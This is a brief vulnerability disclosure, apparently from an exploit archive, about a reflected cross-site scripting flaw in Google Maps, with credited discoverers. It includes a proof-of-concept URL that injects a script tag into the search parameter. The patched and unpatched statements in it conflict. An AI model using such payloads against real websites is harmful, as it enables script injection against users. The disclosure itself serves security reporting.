Google Maps suffered from a cross site scripting vulnerability. This was patched the same day as it was publicly disclosed.
ceadd5d42578a51846404a083d2bc06590816e3f1e2797e178d4f40956bf0b98
Google Maps XSS (currently unpatched)
Discovered By -
Pratul Agrawal (pratul2u@gmail.com)
Gaurav Baruah (baruah.gaurav@gmail.com)
PoC - http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=%3Cscript%3Ealert(%22Google%20Sucks%20!%22)%3C/script%3E&vps=1&sll=28.613554,77.20906&sspn=0.009136,0.013797&ie=UTF8